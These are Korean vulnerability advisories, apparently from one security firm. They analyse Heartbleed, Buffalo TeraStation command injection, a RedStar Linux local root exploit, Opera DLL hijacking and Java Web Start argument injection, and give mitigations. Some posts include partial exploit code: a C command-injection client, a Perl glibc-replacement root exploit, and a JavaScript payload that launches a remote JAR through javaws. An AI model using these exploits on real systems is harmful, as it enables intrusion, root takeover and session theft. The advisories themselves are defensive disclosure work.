II. 대상 세부 분석

1.    Memory Read Overrun

“Heartbleed” 취약점은 OpenSSL라이브러리 TLS 패킷을 처리하는 과정 수행되는 tls1_process_heartbeat(), dtls1_process_heartbeat() 함수에서 payload 변수의 경계 값을 적절히 검증하지 않아 발생한다.

 

              

  

                                   [그림 1] d1_both.c 소스코드의 취약한 함수

 

 

 

 

 [그림 2] t1_lib.c 소스코드의 취약한 함수

 

 

TLS 패킷 처리 과정에서 payload값을 설정하여 서버에 요청 패킷을 보내면, 서버로 보내진 payload 값이 그대로 서버 응답 패킷에 포함되어 클라이언트로 전달된다.

공격자는 이러한 통신 과정 수행 payload 데이터는 명시하지 않고, 단순히payload 사이즈 값만을 조작한 패킷을 서버로 전송 있다. 서버는 payload사이즈 여부만 검증하여 payload 데이터 영역에 내부 특정 메모리 영역의 데이터를 복사하여 클라이언트로 응답 패킷을 보내게 되며, 공격자는 이에 따라 최대 64KB 임의의 데이터를 획득할 있다.

 

 

 

[그림 3] 조작된 TLS 패킷 전송

 

 

HeartBeat 허용 요청 패킷이 전송된 것을 모니터링 도구를 통해 확인 있다.

 

[그림 4] TLS 패킷 확인

 

 

클라이언트에서 HeartBeat 통신 과정 payload 사이즈 값을 조작하여 서버에 요청한다.

 

[그림 5] heartbeat 패킷 전송

 

 

취약점이 발생하는 부분을 OpenSSL 라이브러리의 소스코드를 참조하여 쉽게 알 수 있다.

 

[그림 6] tls1_process_heartbeat() 함수에 인자로 전달되는 SSL 구조체

 

 

 

[그림 7] SSL 구조체를 참조하는 과정과 취약점이 패치된 부분

 

해당 취약점을 근거로, 다음과 같은 테스트베드를 구축하여 취약점의 심각성을 재현하였다.

* 시나리오 : OpenSSL 구성된 Apache 서버의 사용자 권한 획득

* 서버 : Apache 2.2.15-29 + php 5.3.3 + openssl-1.0.1e-16

* 클라이언트 : Windows XP + Chrome 34.0.1847.116 m

 

사이트에 로그인 사용자의 화면이다. 

 

 

[그림 8] 로그인 된 사용자

 

 

로그인 사용자의 세션 정보이다.

 

[그림 9] 로그인 된 사용자 세션

 

조작된 heartbeat 패킷을 통해 서버의 특정 메모리 영역에 대한 데이터를 전달 받을 있다.

 

[그림 10] heartbeat 패킷 응답 값

 

 

다음과 같이 전달된 데이터를 통해 메모리에 저장된 로그인 사용자의 세션 정보 사용자 계정 정보를 확인할 있다.

[그림 11] 메모리에 저장된 사용자 세션 정보

 

 

 

2.    위험 분석

취약점에 노출 경우 악의적인 외부 사용자는 서비스 보안 장비, 또는 네트워크를 사용하는 사용자들에 대해 세션이나 개인키, 비밀 키에 대한 획득이 가능하다.

사용자 관리자의 세션이 탈취 경우, 홈페이지에 대한 위험이 발생할 있으며 나아가 서버 내부 네트워크 침투에 대한 위험을 초래할 있다.

 

취약점으로 인해 노출되는 위협에는 다음과 같은 사례들이 존재한다.

 

1. 포털 커뮤니티 사이트의 로그인 정보 유출

2. VPN 서버의 Private Key 유출

3. 네트워크 장비 보안 장비의 Private Key 로그인 정보 유출

4. 취약한 OpenSSL 라이브러리로 구성되어 통신하고 있는 애플리케이션의 로그인 정보 유출

 

 

  해당 취약점은 특정 OS 환경에 국한되는 취약점이 아닌 OpenSSL 라이브러리를 사용하고 있는 VPN 라우터와 같은 네트워크 장비나 하드웨어 보안장비에도 영향을 미칠 있음.

 

 

III. 대응 방안

1.    Memory Read Overrun

1.    OpenSSL 업데이트

OpenSSL 공식 홈페이지를 통해 패치 버전으로 업데이트 있도록 권고함.

 

2.    OpenSSL 컴파일

OpenSSL 업데이트 불가피할 경우, 소스코드를 "-D OPENSSL_NO_HEARTBEAT" 통해 컴파일 있도록 권고함.

 

 

 

※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

 

Buffalo TeraStation TS5800D Command Injection Vulnerability


TeamCR@K


개요

Buffalo는 일본의 솔루션 개발업체이며, 리눅스 시스템을 개량하여 다양한 스토리지 솔루션을 판매하고 있는 회사입니다.

해당 Buffalo에서 판매하고 있는 스토리지 솔루션 중 NAS 장비인 TeraStation 기종에서 악의적인 명령을 수행 할 수 있는 취약점이 발견되었습니다.


상세설명

발견된 취약점은 관리자 로그인 상태에서 특정 메뉴를 통해 접근할 때 발생하는 것으로써, 외부의 악의적인 공격자로 인해 공격당할 위험은 존재하지 않습니다.

테스트 된 버전은 Buffalo TeraStation TS5800D 기종이며, 해당 취약점으로 공개되지 않은 시스템 관리자(root) 권한을 획득할 수 있습니다.



[그림 1] 정상적으로 동작하는 네트워크 기능 메뉴


취약한 메뉴는 ping 명령을 수행한 결과를 그대로 출력 창에 출력하는 형태로 해당 메뉴 인자를 조작하여 시스템 명령어를 수행할 수 있습니다.



[그림 2] 메뉴 수행 조작을 통해 최상위 디렉터리 구조를 출력하는 화면



[그림 3] 웹 어플리케이션 실행 권한이 관리자인 root 권한으로 실행


웹 어플리케이션이 시스템 관리자 권한인 root 권한으로 수행되기 때문에 시스템 설정파일들을 변경하여 인증 없이 관리자 권한의 쉘을 획득 할 수 있습니다.



[그림 4] 인증없이 시스템 root 권한의 shell을 획득


다음은 본 취약점을 공격하도록 자동화 된 exploit을 만들어 수행한 화면입니다.


[그림 5] 취약점 exploit 실행 화면


다음은 위 exploit 코드의 일부입니다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <getopt.h>

#include <netdb.h>

#include <sys/socket.h>


#define PROT_NAME "jsonrpc"

#define PROT_VER "2.0"

#define BANNER \

"  - Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit -\n\n"\

"  Author: TeamCR@K in A3Security\n"\

"  Date: 22/02/2013\n\n"


const char *crlf = "\x0D\x0A\x0D\x0A";

char cookie[1024] = "Cookie: lang=ko;";


>>-- snip --<<


printf(

"[*] Target: %s\n"

"[*] User ID: %s\n"

"[*] User Password: %s\n", target, id, pw);


printf("[+] Login to NAS server..... ");

if((sid = do_login(target, id, pw)) == NULL) {

goto failed;

}

printf(

"ok!\n"

"[*] Session ID: %s\n", sid);

snprintf(cookie + strlen(cookie), sizeof(cookie) - strlen(cookie), 

" username=%s; sid=%s;", id, sid);


printf("[+] Injecting commands.\n");


>>-- snip --<<


int cmd_inject(const char *target, const char *cmd, const char *sid)

{

int i = 0, s = 0, n = 0, retry = 3, executed = -1, isdone = 0;

struct sockaddr_in addr;

char *ptr = NULL;

char postdata[4096];

char sendpkt[8192], recvpkt[1024];

unsigned char jobid[128];


// ***** Sending a command

snprintf(postdata, sizeof(postdata),  

"{"

"\"%s\":\"%s\","

"\"method\":\"network.ping\","

"\"params\":{\"ipaddress\":\"%s%s\",\"sid\":\"%s\"},"

"\"id\":\"1361425584418\""

"}", PROT_NAME, PROT_VER, target, cmd, sid);

snprintf(sendpkt, sizeof(sendpkt), 

HEADER, cookie, strlen(postdata), postdata);

if((s = socket_set(target, &addr, 80)) < 0) {

goto failed;

}

if(send(s, sendpkt, strlen(sendpkt), 0) < 0) {

printf("[!] send() error\n");

goto failed;

}

if(strip_header(s) != 200) {

printf("[!] Illegal HTTP header\n");

goto failed;

}

n = recv(s, recvpkt, sizeof(recvpkt) - 1, 0);

recvpkt[n] = '\0';

if((ptr = strstr(recvpkt, "jobid")) == NULL) {

printf("[!] Can't allocate job-id.\n");

goto failed;

}

close(s); s = 0;

ptr += 8;

n = 0;

while(*ptr != '}') {

jobid[n++] = *(unsigned char *)ptr;

ptr++;

}

jobid[n++] = '\0';


// ***** Check command result

snprintf(postdata, sizeof(postdata),  


>>-- snip --<<


본 취약점은 ping 명령을 수행하는 과정에서 특수문자를 필터링 하지 않아 발생하는 문제입니다.

해당 모듈은 /usr/local/lib/nasapi/modules/network.pyc 파일로 존재하며, 컴파일 된 파이썬 코드로 만들어져 있습니다.


[그림 6] network.pyc 모듈의 취약점 발생 루틴


본 취약점과 관련하여 외부의 악의적인 공격을 위협수준으로 평가하지 않고 최근 많이 행해지고 있는 스마트폰 Rooting/JB 와 같은 관점으로 접근했습니다.

만약 본 취약점을 패치하고 싶다면 다음과 같은 방법이 있을 수 있습니다.


1. Compile 된 바이너리 파일이므로, 문제가 되는 부분을 무력화 시키면서 Padding과 같은 작업을 가미합니다.

2. 포멧스트링 "%s"에 대해 악의적인 문자열로 조작하지 못하도록 "%c" 내지는 "%d"와 같은 출력포멧으로 변경합니다. 


다음을 보면 취약점이 존재하는 본래의 모듈과 패치한 모듈을 비교 분석해 볼 수 있습니다.


[그림 7] network.pyc 모듈의 패치 전과 후


위와 같이 패치를 적용하고 난 후, NASAPI service를 재 시작하면 취약점 패치가 곧바로 적용됩니다.


[그림 8] network.pyc 모듈의 패치 완료


N.Korea RedStar 2.0 Incorrect permission local root exploit


TeamCR@K


개요

북한에서 개량하여 배포한 일명 ‘붉은별 리눅스’는 현재 2.0 버전까지 배포되는 것으로 알려지고 있으며, P2P 공유 사이트 등으로 다운로드 받아 설치 해 볼 수 있다. 해당 리눅스 OS 는 CD를 배포할 때 설정상의 문제점이 존재하여 이를 이용해 일반 사용자가 관리자 권한을 획득할 수 있다.


상세설명

리눅스 시스템은 보통 glibc라는 라이브러리 환경에 종속되는데, glibc 라이브러리 내에는 공유라이브러리(shared library)로 대표되는 라이브러리들이 포함된다. 보통 프로그램 기동 시, 많이 사용되는 대표적인 함수들의 구현은 전부 본 glibc의 공유라이브러리에서 담당하게 된다. 

 



[그림 1] glibc 라이브러리에 포함되는 ‘C library functions’


(발췌: Advanced Programming in the Unix Environment)


위 그림에 표현되어 있는 ‘C library functions’가 바로 glibc 라이브러리의 역할을 나타내며 리눅스 시스템에서 kernel 다음으로 중요한 위치를 차지한다는 것을 알 수 있다. 이런 중요한 역할을 하는 glibc 라이브러리는 기본적으로 시스템 관리자(root)만 쓰고 지울 수 있는 권한을 갖게 되는데 ‘붉은별 리눅스’는 일반 사용자도 그 내용을 쓰고 지울 수 있게 되어 있어 이를 이용해 일반 사용자가 관리권한을 획득 할 수 있다.

본 라이브러리의 잘못된 설정권한을 이용해 일반 사용자가 관리자 권한을 획득 할 수 있는 시나리오로 다음과 같은 구상이 가능하다.


1. 악의적인 라이브러리 파일 생성

2. 해당 악의적인 라이브러리 파일의 내용과 실제 존재하는 라이브러리 파일의 내용을 치환

3. root권한의 suid bit가 설정되어 있으며, 악의적인 내용의 라이브러리 파일을 참조하는 프로그램을 실행

4. 관리자 권한 획득


다음은 위 시나리오를 자동화 한 프로그램 소스코드의 일부이다.


#!/usr/bin/perl

#

use Fcntl ":mode";

use IO::Handle;


my $banner = "RedStar 2.0 Linux (N.Korea) root exploit";

my $shellname = "/tmp/sh";

my @cfiles = ($target, $suidfile, "/usr/bin/bzip2");

my @perms = (S_IWOTH, S_ISUID, S_IXOTH);

my $bz2bin = 

"\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x91\x83\xB7\xAB\x00\x04".


-- > snip <--


my $success = 0;

for($i = 0; $i < 60; $i++) {

print ".";

flush STDOUT;

if(($ret = permcheck($shellname, S_ISUID)) == 0) {

print "\n[*] Exploit successfully!\n";

$success = 1;

sleep 1;

system($shellname);

last;

}

sleep 1;

}


if($success == 0) {

print "\n[!] Exploit failed.\n";

}


cleanup:

print "[*] Cleanup!\n";


unlink($backupfile);

unlink($evil_bin);


if($success == 1) {

print "[*] A ROOT SHELL IS '$shellname'. DELETE IT YOURSELF!\n";

}


exit(0);


다음은 위 소스코드를 이용해 일반 사용자가 관리 권한을 획득하는 화면이다.



[그림 2] exploit을 이용해 일반 사용자가 관리권한을 획득하는 화면


테스트에 사용된 OS의 버전은 2.0, ISO 이미지의 MD5 Checksum 값은 다음과 같다.

7ba35ae027787a9aa0013695a97c110c RS2.ISO

Opera DLL Hijacking 위협 분석

취약점 분석/2009년 이후 2010. 11. 3. 12:56 Posted by 알 수 없는 사용자

 

Opera DLL Hijacking 위협 분석

 

By. clarus (clarus@a3sc.co.kr)


I. Opera DLL Hijacking 위협 분석

  1.    취약점 개요

    가.    개요

DLL Hijacking 윈도우 기반의 어플리케이션이 DLL 로딩할 DLL 경로가 지정되지 않아서 발생하는 취약점입니다. 원칙적으로 파일의 전체 경로가 입력되어야 하지만, 윈도우 DLL 경로가 지정되지 않으면, 자동으로 파일이 탐색되기 때문에 대부분의 코딩은 경로명을 생략하고 파일명만을 적어주기 쉽습니다.

 

파일의 경로가 존재하지 않을 경우, 가장 먼저 레지스트리의 KnownDLLs 키가 조사됩니다. 해당 레지스트리의 경로 내용의 다음과 같습니다.

레지스트리가 등록되어있지 않을 경우, DllDirectory 저장된 디렉터리를 검색합니다.

만약 로드하고자 하는 DLL 해당 레지스트리에 존재치 않으면, DLL 검색 경로에서 우선순위에 의하여 DLL 찾게 됩니다.

 

따라서 공격자는 프로그램을 사용시 실행되는 DLL 파일의 경로를 추적한 , DLL 우선순위가 낮으면 우선순위가 높은 디렉터리에 DLL 파일을 삽입하여 악의적인 명령을 수행할 있습니다.

[그림 1] DLL Hijacking가상 시나리오


    나.    DLL 호출 우선 순위

응용 프로그램이 로드되는 디렉터리

시스템 디렉터리

16비트 시스템 디렉터리

Windows 디렉터리

CWD (현재 작업 디렉터리)

PATH 환경 변수에 나열되는 디렉터리

 

    다.    취약점 영향도

- 악의적인 DLL 의도적 loading으로 권한 상승 또는 시스템 장악

- WebDAV 연계시켜 취약성 발생, 원격코드 실행 따른 치명적인 위협 발생

  


  2.    취약점 상세

    가.    위협 분석 방향

WebDAV 네트워크 공유를 통해 접속한 디렉터리는 DLL 호출 우선 순위의 CWD(현재 작업 디렉터리) 해당하기 때문에, 해당 공격이 성공하기 위해서는 호출되는 DLL 우선순위가 가장 낮은 PATH 환경변수에 등록되어 있거나 존재하지 않는 DLL이어야 합니다.

DLL 호출 우선순위의PATH 환경 변수에 나열되는 디렉터리 경로까지 검색하여도 DLL 찾을 없을 경우 에러메시지를 띄우는데, 구현시의 DLL Hijacking 경우는 CWD(현재 작업 디렉터리)” 참조하는 것에서 발생합니다.

어플리케이션이 파일(.ppt, .c, .cpp, .torrent, .pcap ) 읽을 악성 DLL 파일이 어플리케이션 파일과 같은 경로에 있으면 CWD(현재 디렉터리) 인식하여 조작된 DLL 삽입되는 것입니다

 

    나.    Opera DLL Hijacking으로 임의의 명령 실행

Opera 버전 10.61 에서 DLL Hijacking 발생됩니다. 취약점 정보 Exploit Code 대한 정보는 아래와 같습니다.

 

URL) http://www.exploit-db.com/exploits/14732/

(Opera v10.61 DLL Hijacking Exploit (dwmapi.dll))

  

다음은 Opera 버전10.61 에서 발생하는 DLL Hijacking취약점 대한 취약점 정보 Exploit Code 일부분 입니다.

[그림 2] Opera DLL Hijacking 취약점 정보

 

다음은 process monitor 확인한 “NAME NOT FOUND” 따른 DLL Hijacking 취약점을 분석하는 화면입니다.

[그림 3] DLL Hijacking 취약점 분석


다음은
Opera 버전10.61에서 존재하는 DLL Hijacking취약점으로 계산기를 실행시키기 위한 Exploit Code 구성하는 화면입니다.

[그림 4] exploit code


다음은 Exploit code 통해 DLL 파일을 생성하는 화면입니다

 [그림 5] win32 DLL 프로젝트 생성 코드 작성

다음은 Opera 버전 10.61에서 DLL Hijacking 공격을 위해 DLL 파일(dwmapi.dll) 생성한 화면입니다.

 [그림 6] DLL 파일 생성


“1.
취약점 개요에서 설명한 내용과 같이 DLL 찾을 없을 경우 DLL 호출 우선순위인 CWD(현재 작업 디렉터리)” 참조하도록 하기 위해, 현재 작업 디렉터리에 DLL파일을 위치시킨 화면입니다.

[그림 7] 현재 작업 디렉터리에 DLL 이동


다음은
Exploit Code 생성된 DLL파일에 의해 임의의 명령(계산기 실행) 실행된 화면입니다.

[그림 8] DLL Hijacking 으로 인한 계산기 실행



  3. 대응 방안

    가.    어플리케이션 개발 로딩하는 파일의 전체 경로를 사용하여 예방 가능

    나.    WebDAV 공유에서 DLL 로드할 없도록 설정

레지스트리 편집기 실행

[그림 9] 레지스트리 편집기 실행

 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager 경로로 이동

 

Session Manager에서 다음과 같이 이동

[그림 10] Session Manager 레지스트리 생성

 

④CWDIllegalInDllSearch 입력한 수정

[그림 11] 레지스트리 편집기 실행

  

DWORD 편집 창에서 1 입력한 확인

[그림 12] 편집 DWORD 입력

 

  다.    패치된 최신 버전의 어플리케이션으로 업데이트 적용

 

II. 참고 사이트 참고 문헌
  
  1.    참고 사이트

- http://www.exploit-db.com/exploits/14732/

- http://support.microsoft.com/kb/2264107

- http://isc.sans.edu/diary.html?storyid=9445

- http://blog.metasploit.com/2010/08/exploiting-dll-Hijacking-flaws.html

 

현재 ㈜에이쓰리시큐리티에서 테스트 분석 중에 있으며, 문서는 계속 업데이트될 것입니다. 문서는 보안취약점으로 인한 피해를 최소화하는 도움이 되고자 작성되었으나, 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다..

 

The Java Web Start Argument Injection Vulnerability 

취약점 보안 권고안

By. Dear.TOM (bdr@a3sc.co.kr)


Ⅰ. 취약점 개요

취약점

The Java Web Start Argument Injection Vulnerability

최초 발표일

2010년 4월

현재상태(패치여부)

패치됨

구성요소

Java Web Start

보안 영향

원격 코드 실행

위험도

높음



1. 요약
“The Java Web Start Argument Injection Vulnerability” 취약점은 JDT(Java Deployment Toolkit) 플러그인의 launch() 메소드 파라미터에 전달되는 입력 값의 유효성에 대한 검증이 미흡하여 발생하는 것으로, 해당 취약점은 2010년 4월 9일 Tavis Ormany에 의해 최초로 발표되었으며, Oracle Sun 社 에서는 4월 20일 공식 긴급 패치를 발표하였습니다.

2. 대상 시스템
다음은 Oracle Sun 社에서 해당 취약점에 취약한 버전을 공개한 목록입니다.

Java SE
   • JDK and JRE 6 for Windows, Solaris, and Linux      

Java for Business
   • JDK and JRE 6 for Windows, Solaris and Linux




Ⅱ. 취약점 세부 분석

1. 취약점 내용
해당 취약점은 JDT(Java Deployment Toolkit) 플러그인의 launch() 메소드의 파라미터에 전달되는 입력 값의 유효성에 대한 검증이 미흡하여 발생합니다.

JWS(Java Web Start)는 .jnlp(Java Network Launching Protocol)을 이용하여 전달받은 URL로부터 자바 어플리케이션을 다운로드 받아서 VM(Virtual Machin)에서 실행시키는 역할을 합니다. 이때, ActiveX control 과 NPAPI Plugin에서 제공하는 launch() 메소드를 통해 전달되는 URL의 유효성 검증이 미흡하여, 원격에서 악의적인 프로그램을 실행 시킬 수 있습니다.

2. 공격 분석
* 본 연구 문서는 신규 취약점 또는 보안 기술 우회 기법에 관한 문서로써 악용될 우려가 있는 상세 공격 코드 및 내용을 제한 합니다.

해당 취약점을 이용하여 제작된 악성 웹 페이지에 일반 사용자가 접근하면, 공격자가 의도한 임의의 프로그램을 실행 할 수 있습니다.

다음은 해당 취약점을 이용한 테스트 사이트의 웹 페이지 코드 입니다. 단, 해당 취약점을 최로로 밝힌 Tavis Ormany에 의해 테스트 용도로 구축되어 악의적인 공격을 수행하지는 않습니다.

<html>
        ...생략...

        // -J 옵션을 이용하여 매개변수로 전달하는 임의의 JAR 파일 실행 가능
        var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";

        if (window.navigator.appName == "Microsoft Internet Explorer") {
            var o = document.createElement("OBJECT");

            // IE 용 JDT ActiveX 플러그인 'deploytk.dll'의 클래스ID
            o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";

            // JDT 플러그인의 launch()를 실행하여, 변수 u에 저장되어 있는 실행 경로를 
            // Java Web Start(javaws.exe)의 인자로 전달
            o.launch(u);
 
         ...생략...
</html>



다음은 해당 취약점을 이용한 웹 페이지 방문 결과, 윈도우 기본 계산기 프로그램이 실행되는 것을 확인하는 화면입니다.
 

3. 위험 분석

공격자는 “The Java Web Start Argument Injection” 취약점을 이용하여 원격지에서 임의의 (악성)코드 실행이 가능합니다. 이미 해외에서는 해당 취약점을 이용한 악성코드 유포 사례가 발견되었고, 공개 취약점 공격 도구에도 해당 취약점을 공격하는 기능이 추가 되어 있어, 취약한 버전을 사용할 경우 공격 당할 위험이 크다고 볼 수 있으므로, Java 관련 프로그램 혹은 플러그인을 사용하는 사용자는 최신 버전(JRE 6 update 20 이상의 버전)으로 업데이트 하시기 바랍니다.

4. 패치 분석
2010년 4월 20일 이루어진 긴급 보안 패치(Java SE 6 update 20)에서는 코드 기반 파라미터가 없는 Java Network Launch Protocol(JNLP) File을 더이상  동작  하지않도록 수정이 되었다고 밝히고 있습니다.


Ⅲ. 해결 방안

1. Oracle Sun 社 에서 제공하는 공식 패치 적용 - Java 6 Updatae 20
  URL) http://www.oracle.com/technology/deploy/security/alerts/alert-cve-2010-0886.html


Ⅳ. 참고자료

[1] [Full-disclosure] Java Deployment Toolkit Performs Insufficient Validation of Parameters
  URL) http://lists.grok.org.uk/pipermail/full-disclosure/2010-April/074036.html
[2] Java Deployment Toolkit Test Page
  URL) http://lock.cmpxchg8b.com/bb5eafbc6c6e67e11c4afc88b4e1dd22/testcase.html
[3] Java SE 6 Update 20 Release Notes
  URL) http://java.sun.com/javase/6/webnotes/6u20.html
[4] Security Alert for CVE-2010-0886 and CVE-2010-0887 Released
  URL) http://blogs.oracle.com/security/2010/04/security_alert_for_cve-2010-08.html
[5] JAVA Web Start Arbitrary command-line injection - "-XXaltjvm" arbitrary dll loading
  URL) http://reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1
[6] Java exploit launches local Windows applications
  URL) http://www.h-online.com/security/news/item/Java-exploit-launches-local-Windows-applications-974652.html
[7] Java zero-day flaw under active attack
  URL) http://blogs.zdnet.com/security/?p=6161
[8] The Java Web Start Argument Injection Vulnerability
  URL) http://blog.metasploit.com/2010/04/java-web-start-argument-injection.html

 

※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.